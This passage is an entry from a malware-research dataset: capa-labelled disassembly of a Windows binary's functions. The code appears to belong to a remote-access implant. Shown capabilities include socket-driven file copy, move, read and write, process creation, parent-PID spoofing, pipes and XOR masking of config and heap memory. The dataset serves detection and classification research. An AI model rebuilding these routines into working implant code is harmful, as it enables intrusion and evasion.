joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002330
Capabilities:
Copy file

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x28], r14
mov r14, rcx
mov ecx, 0x18
mov qword [rsp + 0x20], r15
mov r15d, edx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor esi, esi
mov rdi, rax
test rax, rax
jne 0x14000236e
mov edi, esi
jmp 0x1400023ab
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140002386
mov rdi, rsi
jmp 0x1400023ab
xor edx, edx
mov r8d, 0x4000
mov rcx, rbx
call fcn.140021acb
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov dword [rdi + 0x10], 0x4000
mov dword [rdi + 0x14], 0x4000
mov ecx, dword [rdi + 0x10]
cmp ecx, 0x2000
jge 0x1400023bb
mov rbp, rsi
jmp 0x1400023f1
mov rbp, qword [rdi + 8]
add ecx, 0xffffe000
mov dword [rdi + 0x10], ecx
lea rax, [rbp + 0x2000]
mov qword [rdi + 8], rax
cmp ecx, 0x2000
jl 0x1400023f1
mov rsi, rax
add rax, 0x2000
mov qword [rdi + 8], rax
lea eax, [rcx - 0x2000]
mov dword [rdi + 0x10], eax
cmp r15d, 4
jb 0x140002475
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
lea ebx, [r15 - 4]
test eax, eax
je 0x140002437
cmp eax, 0x2000
jge 0x140002437
cmp ebx, eax
jl 0x140002437
mov rdx, r14
movsxd r15, eax
add r14, r15
sub ebx, eax
test rdx, rdx
je 0x140002437
mov r8, r15
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbp], 0
cmp ebx, 4
jb 0x140002475
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
sub ebx, 4
test eax, eax
je 0x140002475
cmp eax, 0x2000
jge 0x140002475
cmp ebx, eax
jl 0x140002475
test r14, r14
je 0x140002475
movsxd rbx, eax
mov rdx, r14
mov r8, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
test eax, eax
jne 0x1400024b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0xd]
call fcn.14000a500
movsxd r8, dword [rdi + 0x14]
xor edx, edx
mov rcx, qword [rdi]
call fcn.140021acb
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rsp, 0x30
pop rdi
ret
Function at 0x1400024e0
Capabilities:
Move file

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x28], r14
mov r14, rcx
mov ecx, 0x18
mov qword [rsp + 0x20], r15
mov r15d, edx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor esi, esi
mov rdi, rax
test rax, rax
jne 0x14000251e
mov edi, esi
jmp 0x14000255b
mov ecx, 0x4000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x140002536
mov rdi, rsi
jmp 0x14000255b
xor edx, edx
mov r8d, 0x4000
mov rcx, rbx
call fcn.140021acb
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov dword [rdi + 0x10], 0x4000
mov dword [rdi + 0x14], 0x4000
mov ecx, dword [rdi + 0x10]
cmp ecx, 0x2000
jge 0x14000256b
mov rbp, rsi
jmp 0x1400025a1
mov rbp, qword [rdi + 8]
add ecx, 0xffffe000
mov dword [rdi + 0x10], ecx
lea rax, [rbp + 0x2000]
mov qword [rdi + 8], rax
cmp ecx, 0x2000
jl 0x1400025a1
mov rsi, rax
add rax, 0x2000
mov qword [rdi + 8], rax
lea eax, [rcx - 0x2000]
mov dword [rdi + 0x10], eax
cmp r15d, 4
jb 0x140002625
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
lea ebx, [r15 - 4]
test eax, eax
je 0x1400025e7
cmp eax, 0x2000
jge 0x1400025e7
cmp ebx, eax
jl 0x1400025e7
mov rdx, r14
movsxd r15, eax
add r14, r15
sub ebx, eax
test rdx, rdx
je 0x1400025e7
mov r8, r15
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbp], 0
cmp ebx, 4
jb 0x140002625
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_ntohl]
add r14, 4
sub ebx, 4
test eax, eax
je 0x140002625
cmp eax, 0x2000
jge 0x140002625
cmp ebx, eax
jl 0x140002625
test r14, r14
je 0x140002625
movsxd rbx, eax
mov rdx, r14
mov r8, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
test eax, eax
jne 0x140002665
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea ecx, [r9 + 0xe]
call fcn.14000a500
movsxd r8, dword [rdi + 0x14]
xor edx, edx
mov rcx, qword [rdi]
call fcn.140021acb
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rsp, 0x30
pop rdi
ret
Function at 0x140002690
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [0x140032a10], 0
mov rbx, rdx
mov rdi, rcx
jne 0x1400026c1
mov ecx, 0x80004
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x140032a10], rax
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
mov rdx, qword [0x140032a10]
mov dword [rdx], eax
movsxd rcx, dword [rdi + 4]
cmp rcx, rbx
cmovbe ebx, ecx
xor esi, esi
test ebx, ebx
je 0x140002725
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 8]
lea eax, [rsi + 4]
movsxd rcx, eax
mov edx, 1
add rcx, qword [0x140032a10]
movsxd r8, ebx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test eax, eax
je 0x14000271e
sub dword [rdi + 4], eax
add esi, eax
sub ebx, eax
jne 0x1400026f0
jmp 0x140002725
mov dword [rdi + 4], 0
mov rcx, qword [0x140032a10]
add esi, 4
cmp dword [0x140036d14], 1
jne 0x140002775
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140002775
movsxd r8, dword [rax + 0x1c8]
test r8d, r8d
je 0x140002775
movsxd rdx, esi
cmp rdx, r8
mov r8d, 8
ja 0x140002769
lea r9d, [r8 - 7]
jmp 0x14000277f
mov rdx, rcx
mov ecx, esi
call fcn.14000a2f0
jmp 0x140002784
xor r9d, r9d
movsxd rdx, esi
lea r8d, [r9 + 8]
call fcn.14000a200
cmp dword [rdi + 4], 0
jne 0x1400027fc
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
cmp dword [0x140036d14], 1
mov dword [rsp + 0x30], eax
jne 0x1400027dc
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x1400027dc
mov ecx, dword [rax + 0x1c8]
test ecx, ecx
je 0x1400027dc
mov r8d, 9
cmp ecx, 4
jb 0x1400027cb
lea r9d, [r8 - 8]
jmp 0x1400027e3
lea rdx, [rsp + 0x30]
mov ecx, 4
call fcn.14000a2f0
jmp 0x1400027f2
xor r9d, r9d
lea r8d, [r9 + 9]
mov edx, 4
lea rcx, [rsp + 0x30]
call fcn.14000a200
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002ed0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov rcx, qword [0x140033958]
test rcx, rcx
je 0x140002f6d
cmp dword [rbx + 0x20], 0
jne 0x140002f6d
mov rax, qword [rbx + 0x18]
xor r9d, r9d
mov r8, qword [rbx]
xor edx, edx
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x140002fce
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x140002f4e
mov rcx, rbx
add rsp, 0x60
pop rbx
jmp fcn.140002b00
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, qword [rbx]
xor r8d, r8d
mov edx, eax
lea ecx, [r8 + 0x29]
call fcn.14000a500
xor eax, eax
add rsp, 0x60
pop rbx
ret
mov rax, qword [rbx + 0x18]
xor r9d, r9d
mov rdx, qword [rbx]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rbx + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002fce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, qword [rbx]
xor r8d, r8d
mov edx, eax
lea ecx, [r8 + 0x30]
call fcn.14000a500
xor eax, eax
add rsp, 0x60
pop rbx
ret
mov eax, 1
add rsp, 0x60
pop rbx
ret

Function at 0x140002fe0
Capabilities:
Create process on windows
Create process suspended
Get common file path
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rsi, rcx
jne 0x14000302a
mov rbx, qword [0x140036cf8]
mov rdi, qword [rcx]
test rbx, rbx
je 0x14000302a
cmp dword [rbx], 1
jne 0x14000301e
lea rdx, [rbx + 4]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
cmp rax, rdi
je 0x140003041
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x140003007
mov rcx, rsi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
jmp fcn.140002ed0
or dword [rsi + 0x20], 4
add rbx, 0x2004
mov rcx, rsi
mov qword [rsp + 0x20], rbx
mov qword [rsi], rbx
mov qword [rsp + 0x28], rdi
call fcn.140002ed0
mov rcx, qword [rsi + 0x18]
lea rdx, [rsp + 0x20]
mov ebx, eax
call fcn.140008080
mov rcx, qword [rsi + 0x18]
test eax, eax
jne 0x140003096
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400030c0
Capabilities:
Spoof parent pid

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rbp, r8
mov edi, edx
mov r8d, edx
mov r14, rcx
xor edx, edx
mov ecx, 0x1fffff
mov rsi, r9
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003112
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
lea ecx, [rbx + 0x22]
mov r8d, eax
mov edx, edi
call fcn.14000a500
xor eax, eax
jmp 0x14000322d
mov qword [rsp + 0x60], r15
mov r9, r14
xor r15d, r15d
mov qword [r14], rbx
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r15
mov r8d, 0x20000
mov rcx, rbp
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
jne 0x14000316f
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
lea ecx, [r15 + 0x47]
mov edx, eax
xor r8d, r8d
call fcn.14000a500
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003228
mov rbp, qword [rsi + 0x58]
mov rdi, qword [rsi + 0x60]
test rbp, rbp
je 0x1400031f0
test rdi, rdi
je 0x1400031be
cmp rbp, rdi
jne 0x1400031be
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x58]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x60], rcx
jmp 0x140003223
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x58]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdi, qword [rsi + 0x60]
test rdi, rdi
je 0x140003223
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 3
lea r9, [rsi + 0x60]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 1
mov r15, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x1400046a0
Capabilities:
Create pipe

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 8]
sub rsp, 0x108
mov edi, edx
mov dword [rsp + 0x60], 0x18
mov rbx, rcx
mov dword [rsp + 0x70], 1
xorps xmm0, xmm0
lea rdx, [rbp + 0x30]
xor eax, eax
lea rcx, [rbp + 0x40]
xor esi, esi
mov qword [rsp + 0x30], rax
mov r9d, 0x100000
mov qword [rsp + 0x68], rsi
lea r8, [rsp + 0x60]
movups xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x30]
lea rcx, [rsp + 0x38]
mov edx, dword [0x140036cd0]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov word [rbp - 0x40], si
mov dword [rbp - 0x44], 0x101
mov qword [rbp - 0x30], rsi
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x58], reloc.WS2_32.dll_recv
call fcn.1400032d0
test eax, eax
je 0x140004869
mov rcx, qword [rsp + 0x20]
lea r8d, [rsi + 1]
mov qword [rsp + 0x138], r12
mov edx, 0x2710
mov qword [rsp + 0x100], r13
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0xf0], r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov r15, qword [rbp + 0x30]
mov ecx, 0x86
mov r14, qword [rbp + 0x40]
mov esi, dword [rsp + 0x34]
mov r12d, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
lea r9, str.process
lea r8, [0x140029100]
mov qword [rax + 4], rbx
mov qword [rax + 0xc], rdi
lea rcx, [r13 + 0x46]
mov dword [rax + 0x14], r12d
mov dword [rax + 0x18], esi
xor eax, eax
mov qword [r13 + 0x2c], rax
mov qword [r13 + 0x1c], r14
mov qword [r13 + 0x24], r15
lea edx, [rax + 0x40]
mov qword [r13 + 0x34], rax
mov dword [r13 + 0x40], eax
mov dword [r13 + 0x3c], r12d
mov word [r13 + 0x44], ax
call fcn.140001bb0
mov eax, dword [0x140032a18]
mov r15, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xf8]
mov r12, qword [rsp + 0x138]
mov dword [r13], eax
inc eax
mov dword [0x140032a18], eax
mov rax, qword [0x140032a20]
test rax, rax
je 0x140004852
nop dword [rax]
lea rcx, [rax + 0x2c]
mov rax, qword [rax + 0x2c]
test rax, rax
jne 0x140004840
mov qword [rcx], r13
jmp 0x140004859
mov qword [0x140032a20], r13
mov dword [r13 + 0x40], 0x1e
mov r13, qword [rsp + 0x100]
add rsp, 0x108
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140005350
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x20
xor r15d, r15d
mov ecx, 0x800
mov qword [0x140036d08], r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edx, edx
mov r8d, 0x800
mov rcx, rax
mov qword [0x140036d20], rax
call fcn.140021acb
movdqa xmm2, xmmword [0x1400297b0]
lea r12, [0x14002e060]
mov eax, r15d
movdqu xmm0, xmmword [rax + r12]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + r12], xmm1
movdqu xmm0, xmmword [rax + r12 + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax + r12 + 0x10], xmm0
movdqu xmm0, xmmword [rax + r12 + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax + r12 + 0x20], xmm0
movdqu xmm0, xmmword [rax + r12 + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax + r12 + 0x30], xmm1
add rax, 0x40
cmp rax, 0x1000
jl 0x1400053a1
movzx ecx, word [0x14002e060]
lea rdi, [0x14002e062]
mov ebx, 0xffe
call qword [sym.imp.WS2_32.dll_ntohs]
movsx esi, ax
test esi, esi
jle 0x14000556c
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r14
nop dword [rax]
cmp ebx, 2
jae 0x14000543f
movzx ebp, r15w
movzx r14d, r15w
jmp 0x140005471
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
movzx ebp, ax
cmp ebx, 2
jae 0x14000545d
movzx r14d, r15w
jmp 0x140005471
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
movzx r14d, ax
sub ebx, 2
mov rcx, qword [0x140036d20]
shl esi, 4
movsxd rsi, esi
movzx edx, bp
mov word [rsi + rcx], bp
sub edx, 1
je 0x140005515
sub edx, 1
je 0x1400054e4
cmp edx, 1
jne 0x14000553c
movzx ebp, r14w
mov ecx, ebp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
movzx ecx, r14w
mov rax, qword [0x140036d20]
mov qword [rsi + rax + 8], r9
cmp ebx, ecx
jge 0x1400054cf
mov rdx, r15
mov r8d, ebp
mov rcx, r9
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000553c
mov rdx, rdi
sub ebx, ecx
add rdi, rcx
mov r8, rbp
mov rcx, r9
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000553c
cmp ebx, 4
jae 0x1400054f9
mov rcx, qword [0x140036d20]
mov eax, r15d
mov dword [rsi + rcx + 8], eax
jmp 0x14000553c
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [0x140036d20]
add rdi, 4
sub ebx, 4
mov dword [rsi + rcx + 8], eax
jmp 0x14000553c
cmp ebx, 2
jae 0x140005520
movzx eax, r15w
jmp 0x140005530
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
mov rcx, qword [0x140036d20]
mov word [rsi + rcx + 8], ax
cmp ebx, 2
jae 0x140005547
movzx eax, r15w
jmp 0x140005557
movzx ecx, word [rdi]
call qword [sym.imp.WS2_32.dll_ntohs]
add rdi, 2
sub ebx, 2
movsx esi, ax
test esi, esi
jg 0x140005430
mov r14, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
xor edx, edx
mov r8d, 0x1000
mov rcx, r12
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r12
pop rdi
jmp fcn.140021acb
Function at 0x140005590
Capabilities:
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140036d20]
cmp word [rax + 0x370], 1
jne 0x1400055e5
cmp word [rax + 0x378], 1
jne 0x1400055e5
mov ecx, 0x27
call fcn.14000d080
cmp ax, 1
jne 0x1400055dc
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0x3e8
mov r8d, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
jmp 0x1400055c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
cmp word [rax + 0x270], 1
jne 0x14000562b
cmp word [rax + 0x278], 1
jne 0x14000562b
mov r8, qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140006560
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push r12
push r14
push r15
sub rsp, 0x30
mov r14, qword [0x140032a30]
xor r12d, r12d
cmp qword [0x140032a38], r12
mov r15d, r12d
jne 0x140006592
mov ecx, 0x100000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x140032a38], rax
test r14, r14
je 0x1400067a1
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
mov r13d, 0xffffc
nop word [rax + rax]
cmp dword [r14 + 4], 1
jne 0x140006778
mov ecx, dword [r14]
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x50]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x140032a38]
mov dword [rax], ecx
mov dword [rsp + 0x50], r12d
mov rcx, qword [r14 + 0x1c]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov edi, dword [rsp + 0x50]
cmp edi, r13d
cmova edi, r13d
mov dword [rsp + 0x50], edi
cmp eax, 0xffffffff
jne 0x14000665b
cmp dword [0x140036d14], 1
mov rcx, qword [0x140032a38]
mov dword [r14 + 4], r12d
jne 0x140006768
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140006768
mov edx, dword [rax + 0x1c8]
test edx, edx
je 0x140006768
cmp edx, 4
jb 0x140006755
mov r9d, 1
jmp 0x14000676b
test edi, edi
je 0x140006778
mov rcx, qword [0x140032a38]
mov rsi, qword [r14 + 0x1c]
lea rbp, [rcx + 4]
jg 0x140006679
mov ebx, r12d
jmp 0x1400066e5
xor r9d, r9d
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
cmp eax, 0xffffffff
je 0x1400066b5
cmp ebx, edi
jge 0x1400066d1
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
add ebx, eax
cmp eax, 0xffffffff
jne 0x140006692
mov edx, 2
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000660c
cmp ebx, 0xffffffff
je 0x14000660c
mov edi, dword [rsp + 0x50]
mov rcx, qword [0x140032a38]
cmp ebx, edi
jne 0x140006778
add edi, 4
cmp dword [0x140036d14], 1
jne 0x140006741
mov rax, qword [0x140036d20]
cmp word [rax + 0x1c0], 2
jne 0x140006741
movsxd r8, dword [rax + 0x1c8]
test r8d, r8d
je 0x140006741
movsxd rdx, edi
cmp rdx, r8
mov r8d, 5
ja 0x140006732
lea r9d, [r8 - 4]
call fcn.14000a200
inc r15d
jmp 0x140006778
mov rdx, rcx
mov ecx, edi
call fcn.14000a2f0
inc r15d
jmp 0x140006778
xor r9d, r9d
movsxd rdx, edi
lea r8d, [r9 + 5]
call fcn.14000a200
inc r15d
jmp 0x140006778
mov r8d, 4
mov rdx, rcx
mov ecx, r8d
call fcn.14000a2f0
jmp 0x140006778
xor r9d, r9d
mov edx, 4
mov r8d, edx
call fcn.14000a200
mov rcx, qword [r14 + 0x24]
mov r14, rcx
test rcx, rcx
jne 0x1400065c0
mov r13, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov eax, r15d
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x1400069a0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
je 0x140006aa3
nop dword [rax]
test byte [rsp + 0x2e], 4
je 0x140006a8d
mov ecx, dword [rsp + 0x28]
xor edx, edx
mov r9, qword [rsp + 0x20]
test rcx, rcx
je 0x140006a8d
cmp rcx, 0x40
jb 0x140006a6e
movdqa xmm2, xmmword [str.DDDDDDDDDDDDDDDD_]
lea rax, [r9 + 0x20]
mov r8d, ecx
and r8, 0xffffffffffffffc0
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
cmp rdx, r8
jb 0x140006a20
cmp rdx, rcx
jae 0x140006a8d
lea rax, [rdx + r9]
sub rcx, rdx
nop word [rax + rax]
xor byte [rax], 0x44
lea rax, [rax + 1]
sub rcx, 1
jne 0x140006a80
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
jne 0x1400069e0
add rsp, 0x50
pop rbx
ret
Function at 0x140006c70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r15
sub rsp, 0x20
mov rsi, rcx
mov r15, r8
mov ecx, 0x400
mov rdi, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140006d39
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r14
cmp edi, 4
jb 0x140006d26
mov ecx, dword [rsi]
call qword [sym.imp.WS2_32.dll_ntohl]
lea rdx, [rsi + 4]
lea esi, [rdi - 4]
test eax, eax
je 0x140006d26
lea edi, [rax + 1]
cmp edi, 0x400
jg 0x140006d26
cmp esi, eax
jl 0x140006d26
movsxd r14, eax
sub esi, eax
lea rbp, [r14 + rdx]
test rdx, rdx
je 0x140006d26
mov r8, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
test edi, edi
je 0x140006d26
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
